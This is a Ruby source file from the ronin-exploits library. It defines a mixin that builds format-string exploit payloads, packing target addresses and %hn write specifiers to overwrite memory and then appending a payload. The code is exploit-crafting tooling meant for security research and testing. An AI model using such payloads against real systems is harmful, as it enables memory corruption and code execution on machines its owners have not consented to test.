ronin-rb/ronin-exploits

View on GitHub
lib/ronin/exploits/mixins/format_string.rb

Summary

Maintainability
A
0 mins
Test Coverage
# frozen_string_literal: true
#
# ronin-exploits - A Ruby library for ronin-rb that provides exploitation and
# payload crafting functionality.
#
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-exploits is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-exploits is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-exploits.  If not, see <https://www.gnu.org/licenses/>.
#

require 'ronin/exploits/mixins/binary'

module Ronin
  module Exploits
    module Mixins
      #
      # Adds methods to exploits for generating format strings to be used
      # in format string vulnerabilities.
      #
      # @api public
      #
      # @since 1.0.0
      #
      module FormatString
        include Binary

        #
        # Builds a format string.
        #
        # @param [Integer] overwrite
        #   The address to overwrite.
        #
        # @param [Integer] pop_length
        #
        # @param [Integer] address
        #   The address to write.
        #
        # @param [#to_s] payload
        #   The payload append to the format string.
        #
        # @return [String]
        #   The built format string.
        #
        def build_format_string(overwrite: , pop_length: , address: , payload: )
          machine_word = platform[:machine_word]

          buffer = String.new(encoding: Encoding::ASCII_8BIT)
          buffer << pack(:machine_word,overwrite)
          buffer << pack(:machine_word,overwrite + (machine_word.size / 2))

          low_mask = 0xff

          (machine_word.size / 2).times do
            low_mask <<= 8
            low_mask |= 0xff
          end

          high_mask = low_mask << ((machine_word.size * 8) / 2)

          high = (address & high_mask) >> (machine_word.size / 2)
          low  = address & low_mask

          if low < high
            low    -= (machine_word.size * 2)
            buffer << format("%%.%ud%%%u$hn%%.%ud%%%u$hn",low,pop_length,high - low,pop_length + 1)
          else
            high   -= (machine_word.size * 2)
            buffer << format("%%.%ud%%%u$hn%%.%ud%%%u$hn",high,pop_length + 1,low - high,pop_length)
          end

          buffer << payload.to_s
          return buffer
        end
      end
    end
  end
end